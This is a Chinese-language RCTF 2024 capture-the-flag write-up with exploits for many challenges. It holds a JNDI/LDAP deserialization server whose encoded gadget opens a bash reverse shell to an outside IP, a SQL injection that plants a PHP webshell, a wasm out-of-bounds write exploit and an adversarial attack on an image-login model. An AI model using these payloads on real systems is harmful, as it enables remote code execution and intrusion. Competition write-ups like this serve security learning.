RCTF 2024 By W&M
WEB
JAVA
这一题考的是
new InitialDirContext(properties)).search
该如何去触发Jndi。这一题指定post传入json,指定searchBase和filter。
POST /index HTTP/1.1
Host: localhost:8899
sec-ch-ua-platform: "macOS"
Pragma: no-cache
sec-ch-ua-mobile: ?0
Cache-Control: no-cache
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Accept-Language: zh-CN,zh;q=0.9
Cookie: Goland-5df45c20=acaad4c4-6ed5-4e7f-a2f0-891765d48e30; Phpstorm-b9a68abe=849deb9b-548a-4ca8-8d65-7c13b6503159; Idea-44fa379b=c955cda9-e124-4dce-a7f3-1dc2bff3d8ba
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Sec-Fetch-Dest: document
Content-Type: application/json
{"searchBase":"dc\u003Dexample,dc\u003Dcom","filter":"ObjectClass\u003D123","ip":"8.130.24.188","port":8088}
其实ldap的search就是lookup的另一个版本,他们都是进行筛选,只不过lookup是直接在url里筛选,search是另外启2个参数。在调试流程不难发现下述过程
我们会进入p_search方法内部,进而进入p_resolveIntermediate
假如我们进入c_resolveIntermediate_nns
那么就会进入c_lookup请求,进入c_lookup请求后
你就会看见熟悉的decodeObject了。这里可以进行反序列化。
而我们想进入c_resolveIntermediate_nns也很简单,Head或者Tail不为空即可,我们随便给searchBase加上个前缀。
最终进行反序列化了,然后就使用POJONODE打一个RCE的gadget就行。
import java.net.*;
import java.text.ParseException;
import java.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class DeserLdapRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#org.apache.tomcat.jdbc.pool.DataSourceFactory")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "javax.sql.DataSource");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//
/** Payload1 end **/
/** Payload2: Return Serialized Gadget **/
// try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.getDecoder().decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAKnQAKWNvbS5qYXZhc2VjLnBvY3MuamFja3Nvbi5CQVRlbXBsYXRlc0NoYWludAAVQkFUZW1wbGF0ZXNDaGFpbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAANaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHAAAHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkWwAMYWR2aXNvckFycmF5dAAiW0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9BZHZpc29yO0wAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnNxAH4AB0wACmludGVyZmFjZXNxAH4AB0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHVyACJbTG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLkFkdmlzb3I734MNrdIehHQCAAB4cAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN+JOcfcCAAB4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAB4c3EAfgAUAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAF4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABxsr+ur4AAAAxABkBAAVLVmlZawcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlBwADDAAFAAYKAAgACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAGliYXNoIC1jIHtlY2hvLFltRnphQ0F0WXlBaVltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODRMakV6TUM0eU5DNHhPRGd2TnpjM09DQThKakVpfXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABEBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAATABQKAAwAFQEAClNvdXJjZUZpbGUBAApLVmlZay5qYXZhACEAAgAEAAAAAAABAAEABQAGAAEABwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABABcAAAACABhwdAAIYm9vZ2lwb3BwdwEAeA=="));
// } catch (ParseException e1) {
// e1.printStackTrace();
// }
/** Payload2 end **/
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void main(String[] args) throws Exception {
// System.out.println("HttpServerAddress: "+args[0]);
// System.out.println("HttpServerPort: "+args[1]);
// System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = "127.0.0.1";
int ldap_port = 8088;
int http_server_port = 8000;
CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
Color
题目本身是一个找不同颜色的游戏
纯前端js题,js加密,有反debugger调试
https://github.com/david-fong/detect-devtools-via-debugger-heartstop
Disable breakpoint即可
倒是有一个后端,每次点击会发到后端请求
要在一分钟内点500个
aes加密参数 密钥hex '3838623464626335343163643537663264353533393865396265336536316165'
iv '34316364353766326435353339386539'
Mode ?
Padding ?
解密参数 密钥hex '3838623464626335343163643537663264353533393865396265336536316165'
Iv '34316364353766326435353339386539'
分析:
进入页面时发送action=enc(gameover)
服务端返回code=200 data=enc(0)
点击开始游戏后
循环{
发送action=enc(genpos) rangeNum=enc(4) 这个4会随着难度提升变大
服务端返回code=200 data=enc(0)
用户点击时发送action=enc(choose) pos=enc(0)
服务端返回code=200 data=enc(success)
} 直到 游戏时间到
游戏结束时,
发送action=enc(gameover)
服务端返回code=200 data=enc(5) 这个5是你的分数
写脚本发500次即可。注意phpsessid
套娃
要打这个
应该又是玩filter链。。。 getimagesize传入的是文件名,也就是你上传的文件的内容
Flag in /flag.txt
Filter 内存溢出侧信道盲注文件
https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/
Proxy
exp.py
import requests
remote_addr="http://60.204.143.208"
rs = requests.Session()
resp = rs.get(remote_addr+"/index.php",params={"BE":"a"},headers={"Host":"1.1.1.1"})
print(resp.text)
resp = rs.get(remote_addr+"/lol.php",params={"1":"cat flag.php"})
t = resp.text
print("".join(x for x in t if ord(x) < 128))
a.php
<?php readfile("a.txt");
a.txt
p');ATTACH DATABASE '/var/www/html/lol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('1<?php system($_GET[1]); ?>') -- asdf
PWN
Mine
wasm,主函数在 0x7FFFF79C6B20,应该是怎么有个越界直接读flag,痛苦逆向中
base: 0x7ffe70000000
OUTER MOST FRAME?:
0x7ffe7001123d => FLAG
0x7ffe7001124c => SCORE
0x7ffe70011258 => LABEL 0, 0
...
0x7ffe70011357 => LABEL 15, 15
0x7ffe70011358 => REAL 0, 0
0x7ffe70011457 => REAL 15, 15
0x7ffe70011460 => NAME
0x7ffe70011488 => FLAG
7FFFF79C6B20 (main) STACK FRAME 0x7ffe7000ffb0:
[base + 0xffb0 + 0x00] -> &NAME (0x7ffe70011460)
[base + 0xffb0 + 0x10] -> SCORE
[base + 0xffb0 + 0x20] -> 0xfff8 (pc: 7FFFF79C6CB4)
[base + 0xffb0 + 0x24] -> 0xfff4 (pc: 7FFFF79C6CAA)
[base + 0xffb0 + 0x28] -> 0xfff3 (pc: 7FFFF79C6C9B)
[base + 0xffb0 + 0x30] -> &NAME (0x7ffe70011460)
[base + 0xffb0 + 0x43] -> ACTION
[base + 0xffb0 + 0x44] -> ARG1
[base + 0xffb0 + 0x48] -> ARG0
[base + 0xffb0 + 0x4C] -> 0 (pc: 7FFFF79C6B7A)
7FFFF79C66D0 (mark) STACK FRAME 0x7ffe7000ffa0:
[base + 0xffa0 + 0x08] -> COL
[base + 0xffa0 + 0x0C] -> ROW
7FFFF79C64D0 (uncover) STACK FRAME 0x7ffe7000ff90:
[base + 0xff90 + 0x0C] -> iter j
[base + 0xff90 + 0x10] -> iter i
[base + 0xff90 + 0x14] -> CURRENT_MINE
[base + 0xff90 + 0x18] -> COL
[base + 0xff90 + 0x1c] -> ROW
7FFFF79C6780 (change_board) STACK FRAME 0x7ffe7000ff70:
[base + 0xff70 + 0x00] -> 0xffa9 (pc: 7FFFF79C68F0)
[base + 0xff70 + 0x10] -> iter i copy
[base + 0xff70 + 0x14] -> iter j copy
[base + 0xff70 + 0x20] -> 0xffaa (pc: 7FFFF79C68AB)
[base + 0xff70 + 0x2C] -> iter i
[base + 0xff70 + 0x28] -> iter j
[base + 0xff70 + 0x30] -> &LABEL (pc: 7FFFF79C6812)
[base + 0xff70 + 0x34] -> SCORE (0x7ffe7001124c) * 16
[base + 0xff70 + 0x39] -> CHANGE_TO
[base + 0xff70 + 0x3A] -> WANT_CHANGE (Y/N)
[base + 0xff70 + 0x3B] -> OFFSET (pc: 7FFFF79C67F0)
[base + 0xff70 + 0x3C] -> RESULT
__int64 __fastcall change_board(struct_a1 *a1)
{
int outer_frame; // r13d
int base_ptr_ff70; // r15d
struct game *game; // r12
int i; // r10d
int want_change; // edi
char change_to_char; // dl
int v8; // r8d
char v9; // r9
__int64 result; // rax
__int64 savedregs; // [rsp+20h] [rbp+0h] BYREF
if ( *a1->pqword8 > (unsigned __int64)&savedregs )
BUG();
outer_frame = a1->frame_ptr;
base_ptr_ff70 = outer_frame - 0x40;
a1->frame_ptr = outer_frame - 0x40;
wasm_0_::function_58_(a1, a1, 0x1006CLL); // Change Board Style
wasm_0_::function_58_(a1, a1, 0x1002BLL); // Input 'y char' to change,'n' to skip
game = a1->game;
game->gap0[base_ptr_ff70 + 0x3B] = 0;
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x34] = 16 * *(_DWORD *)&game->gap0[*(unsigned int *)&game->gap00[1892] + 4];// score
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x30] = *(_DWORD *)&game->gap00[1888];
get_char((__int64)a1);
for ( *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x2C] = 0;
*(int *)&game->gap0[base_ptr_ff70 + 0x2C] < 16;
++*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x2C] )// for(int i = 0; i < 16; i++)
{
for ( *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x28] = 0;
*(int *)&game->gap0[base_ptr_ff70 + 0x28] < 16;
++*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x28] )// for (int j = 0; i < 16; j++)
{
if ( (char)game->gap0[base_ptr_ff70 + 0x3B] > *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x34] )// if offset > 10 * score, return
{
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x3C] = 0;// result = 0; goto ret;
goto LABEL_17;
}
i = *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x2C];
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x14] = *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x28];
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x10] = i;
printf(a1, a1, 0x10095LL, outer_frame - 48);// board[%d][%d]:
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x20] = outer_frame - 6;
scanf(a1, a1, 0x10085LL, outer_frame - 32);// %c
want_change = (char)game->gap0[base_ptr_ff70 + 0x3A];
if ( want_change == 'y' )
{
get_char((__int64)a1);
*(_DWORD *)&game->gap0[base_ptr_ff70] = outer_frame - 7;
scanf(a1, a1, 0x10085LL, outer_frame - 0x40);// %c
change_to_char = game->gap0[base_ptr_ff70 + 0x39];
v8 = *(_DWORD *)&game->gap0[base_ptr_ff70 + 0x30];// &LABEL
v9 = game->gap0[base_ptr_ff70 + 0x3B];
game->gap0[base_ptr_ff70 + 0x3B] = v9 + 1;// offset
game->gap0[v9 + v8] = change_to_char;
}
else if ( want_change == 'n' )
{
++game->gap0[base_ptr_ff70 + 0x3B]; // offset++
}
else
{
--*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x28];// j --
}
while ( (unsigned int)get_char((__int64)a1) != '\n' )
;
}
}
*(_DWORD *)&game->gap0[base_ptr_ff70 + 0x3C] = 0;
LABEL_17:
result = *(unsigned int *)&game->gap0[base_ptr_ff70 + 0x3C];
a1->frame_ptr = outer_frame;
return result;
}
Exp:
from pwn import *
def debug():
print(pidof(r))
pause()
def spawn_good_board(min_score=10):
for _ in range(100):
# r = process("/home/publicqi/.wasmtime/bin/wasmtime run --allow-precompiled --disable-cache --env FLAG=flaglalala /home/publicqi/ctf/rctf/minesweeper".split(" "), aslr=False, level="info")
r = remote("123.60.161.30", 10088)
r.recvuntil(b"Your Name:")
r.sendline(b"A"*24)
try:
score = 0
i = 0
j = 0
while True:
r.recvuntil(b"Enter row,")
r.send(f"{i} {j} U")
board = r.recvuntil(b"Your Score: \x1b[32m")
print("Board:")
print(board.decode())
score = int(r.recvuntil(b"\x1b", drop=True))
if score >= min_score:
print(f"Score: {score}")
return r
j += 1
if j == 16:
j = 0
i += 1
if i == 16:
raise Exception("No good board found")
except KeyboardInterrupt:
return None
except:
r.close()
continue
r = spawn_good_board()
r.send(b"0 0 A")
r.recvuntil(b"Change Board Style")
r.send(b"\n")
for i in range(8):
for j in range(16):
r.recvuntil(b"board")
editing = r.recvuntil(b"]:")
print("board" + editing.decode())
r.send(b"y B\n")
for i in range(0x70):
r.recvuntil(b"board")
editing = r.recvuntil(b"]:")
print("board" + editing.decode())
r.send(b"y B\n")
# debug()
r.recvuntil(b"board")
editing = r.recvuntil(b"]:")
print("board" + editing.decode())
r.send(b"y \x90\n")
for i in range(0xf):
r.recvuntil(b"board")
editing = r.recvuntil(b"]:")
print("board" + editing.decode())
r.send(b"n\n")
r.interactive()
Reverse
bloker_vm
虚拟机调试混淆
根据不同的异常选择不同的加密 用x64dbg能调试
在主要加密地点下断点 获取加密流程
rc4 + 移位 + 异或
from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'thisisyoursecretke')
rc = rc4.decrypt(b'\x80\x05\xE3\x2F\x18\x2F\xC5\x8C\x25\x70\xBC\x05\x1C\x4F\xF2\x02\xE5\x3E\x02\x2F\xE5\x11\xA3\xC0')
print(rc)
for i in rc:
buf = ((i<<2) | (i>>6)) & 0xff
buf ^= 0x7D
print(chr(buf),end='')
Misc
Logo: Signin
直接logo = ".....".strip()就可以了
Logo: 2024
Your average 算法题
'''
极简解压缩算法。
c=最终输出
d=压缩数据
l=临时变量,当前行
p=指针
算法:
解压缩一个压缩的ASCII字符画,只由#和0两种字符组成。
遍历压缩数据,每两个字符为一组,
如果是"~~"则表示换行,
否则:将字符转换为数字,减去32,得到偏移a和长度b,在指针p和p+a之间填充#,然后在p+a到a+b填充0,指针移动到a+b
'''
''''''
c=l=""
d='''~~<!>!~~$#)';!>!A*V3q-~~$#)+=/V3o2~~$#/'>%]$n$~$~~$#2%=$L#]$m$~~#$4$=$L$]$m$~~#$5#<$M#]#m$~~#$5$<$M$]#n%~~#$5$<#N#]#o&~~#$5#<#N#]#q&~~#$4$<#N#\$t&~~#$3$<#N#\$v%~~#$++<#M$\$x%~~#$+)<$M$\$z$~~#$0$=#M#\$z$~~#$1$=$L#\$z$~~#$2$>$K$\$m$z$~~#$3#?%J#Y'o%x%~~##4!@)U2p+~~$!D"t$~~~~'''
p=0;i=-2
while i<270:
i=i+2;r=d[i:i+2]
if r=="~~":l=l+'#'*(100-p);p=0;c=c+l+"\n";l=""
else:a=ord(r[0])-32;b=ord(r[1])-32;l=l+'#'*(a-p)+' '*b;p=p+a-p+b
logo=c
''''''
print(logo)
s1ayth3sp1re
jadx导入,搜3000,获得代码
if (this.j > 3000) {
int[] iArr = {164, 158, 95, 107, 4, 215, 108, 115, 5, 8, 25, 57, 41, 236, 231, 17, 85};
int[] iArr2 = {246, 221, 11, 45, WindowsKeycodes.VK_F16, 148, 45, 36, 70, 73, 78, 8, 98, Keyboard.KEY_NUMPADEQUALS, 140, 112, 40};
String str = "";
for (int i = 0; i < iArr.length; i++) {
str = str + String.valueOf((char) (iArr[i] ^ iArr2[i]));
}
int[] iArr3 = {100, 174, 197, 56};
int[] iArr4 = {2, LinuxKeycodes.XK_Acircumflex, 164, 95};
String str2 = "";
for (int i2 = 0; i2 < iArr3.length; i2++) {
str2 = str2 + String.valueOf((char) (iArr3[i2] ^ iArr4[i2]));
}
this.d.add(new m(str2, null, str));
}
this.d.add(new m());
this.d.add(new m(am[4], null, Integer.toString(this.j)));
CardCrawlGame.playerPref.a();
}
缺几个变量,找完直接丢gpt就行了
FindAHacker
pslist发现idap64进程
dump下来拖gimp随便调调
猜测上下两个xor一下就行,最后包上RCTF{}
EzLogin
让AI来做AI题
冻结模型参数,对输入图片梯度下降。
由于转成uint8会丢精度,loss会变高,distance_threshold设低一点即可
多番调教后完整exp如下:
import hashlib
import itertools
from pwn import *
import torch
import torch.nn as nn
import numpy as np
# 加载题目提供的模型
from NN import CNN, device
def getimage():
model = CNN().to(device)
model.load_state_dict(torch.load('model.pt.state'))
model.eval() # 设置为评估模式
# 目标特征向量
target_feature = torch.tensor([[-6.19499969e+01, -1.56200895e+01, -3.52624054e+01, -1.34233132e-01,
-6.48261490e+01, -1.47979248e+02, -5.15059547e+01, -1.14444227e+01,
4.33434563e+01, -3.69645386e+01, 2.00579977e+00, 4.74611549e+01,
-6.33986130e+01, -1.57887411e+01, -2.87570419e+01, -5.35021248e+01,
-1.73028266e+00, -3.61370316e+01, -7.58331375e+01, -7.46535110e+01,
-7.24118347e+01, -4.76773834e+01, 6.51892662e+00, -5.07196846e+01,
-1.03041328e+02, 4.72574463e+01, 9.03826065e+01, 5.30947495e+01,
-5.03226738e+01, -1.50200531e+02, -3.46447792e+01, -4.23207245e+01,
6.44030609e+01, -5.05351334e+01, -4.11206970e+01, -2.18300457e+01,
2.70750694e+01, -1.00022865e+02, 3.77698517e+01, -3.60703392e+01,
-6.88536682e+01, 1.16945248e+01, -4.62400284e+01, -4.79546585e+01,
6.10636101e+01, -1.12650543e+02, -1.34837357e+02, ]], dtype=torch.float32).numpy()
# 初始化输入图像 (随机噪声或其他图像)
input_image = torch.zeros(1, 1, 28, 28, requires_grad=True)
# 冻结模型参数
for param in model.parameters():
param.requires_grad = False
# 优化器 (可以使用 Adam 或其他优化器)
optimizer = torch.optim.Adam([input_image], lr=0.01)
# 梯度下降迭代
max_iterations = 10000 # 设置最大迭代次数
distance_threshold = 3 # 距离阈值
for i in range(max_iterations):
optimizer.zero_grad()
output_feature = model(input_image)
# 使用 PyTorch 计算平方差之和,然后转换为 NumPy 数组计算距离
squared_diff_sum = torch.sum((output_feature - torch.tensor(target_feature).to(device)) ** 2)
distance = np.sqrt(squared_diff_sum.detach().cpu().numpy())
# 使用平方差之和作为损失函数
loss = squared_diff_sum
loss.backward()
optimizer.step()
print(f"Iteration {i + 1}/{max_iterations}, Loss: {loss.item():.4f}, Distance: {distance:.4f}")
with torch.no_grad():
input_image.clamp_(0, 255)
if distance < distance_threshold:
print(f"Distance less than {distance_threshold}, stopping optimization.")
break
# 保存生成的图像
generated_image = input_image.detach().cpu().squeeze().numpy()
generated_image = (generated_image * 255).astype(np.uint8)
image_bytes = generated_image.tobytes()
return image_bytes
def hash(target_hash,prefix):
prefix = bytes.fromhex(prefix) # 前 6 个字节
# 遍历所有可能的最后两个字节组合
for i, j in itertools.product(range(256), range(256)):
# 构造完整的图像字节流
test_bytes = prefix + bytes([i, j])
# 计算 SHA-256 哈希值
sha256_hash = hashlib.sha256(test_bytes).hexdigest()
# 检查哈希值是否匹配
if sha256_hash == target_hash:
return f'{i:02x}{j:02x}'
r = remote("47.94.109.95", 40999)
data = r.recvlines(2)
sha256 = data[0].split(b' ')[2].decode()
prefix = data[1].split(b' ')[3].decode()
# print(sha256,prefix)
target_hash = hash(sha256,prefix)
# print(target_hash)
r.sendline(target_hash.encode())
# print(r.recvline())
imagedata = getimage()
print(imagedata)
r.sendline(imagedata)
r.interactive()
b'\x02\x00\x04\x00\x0f\x00\x01\x00\x00\x00\x1d\x04\x18\x02\x1c\x00\x00\x00\x00\x00\x19\x0f.+4=\x0f:\x0b\x18\x00\x0f\x00\x14\x06\x10\t\x1d\x0b-\x110\x0f!\x07\x00\x07\x10\x0b\x00\x00\x00\x00\r\x13\x0c\x10\x05\x12/\x00\'\x00\x19%8,\x009%J \x14&\x00?@\x0b\x01\x00\x00\x00\x00\x01\x15\x00\x1f\x00\x1c\x136<8F\x183+\x18\x04\x15\x0b 4^\x1ad\x11\x10\x00\x02\x03\x00A$\x03;\x0f547\x04*\x00\x1b\x1f*\n"1\x01\x19Q\x02EP\x00B\x00\x00\x04\x00\x02\x08\n-\x05/\x00\x00\x00\x00\x0e\x05\n"\x04\x10[d\x1d\x00@\x00T\x19- \x0b\x00\x0c\x01\x00\x00\x1b\x10\x00\x00\x00\x00\r\x1c\x1a\x03\n\x14PlU\x18\x00\x08U@f\x1bT(\x0fV\x11\x00\x00\x14\x00\x02\x00\x00\x0c\x01C>\t!\x01\x02\r\x01\x00\x08\x05T,\x81wD>\x10\x97$\x1a\x14\x05\x01\x02\x00\x14\';89\x12\x00\x01\x01\x00\x00\x01,G%\x12\x19\x1c\x13\x04\x16E4\x00\x00\x1b\x08\x00\x0f\nOVc\x00\x00\x01\x00\x00\x03$4\x03\x06\x00\x00-\x00\x00\x00\x00\x1c7*\x17:\x155\x05\x17\x1fW\x00\x19\x00\x00\x00\n\x00\x00\x0f\x01\x00\x00\x03T\x00\n\x16\x0f$+@:QH\x00\x00\x00\x1f4C3+\x00\x03\x06\x00\x0f/?&%PtW\x00),\x1e)%\x01\x00\r\x07\x00\x00R~\xc0\n;\x00 \x0e:OlF\x00M> \x0c\x1a\x00\x00\x00\x00\x01\x00$\x03\x0b#\x01i[\x88w\x0e\x08\x04\x08\x13\x0b7C/\x00)0\x00\x00\x00\x02\x00\x06\x00\x05\x10\x11\x1e\x00\x00\x00u\x8bL\x00\x00)\x001\x12;\x0c\x02\x00P,!\x1f\x16/&=\x068\x18_F5\x00\tJ\x0f\x02\x00\x00&0\x14JJ\x12Z\x0e[V$VPA7;]\x0c\x1aM[\x01#\x04\x17\x04\x00\x00\x1d\x14>\x14H\x15\x17\x00\x05\x0b6\x8e\x00\x00\x0c\x07\x02\x00\x00\x05@D\x18l1\x14\x19\x06\x06\x01\x14\t\x08\x00\x03 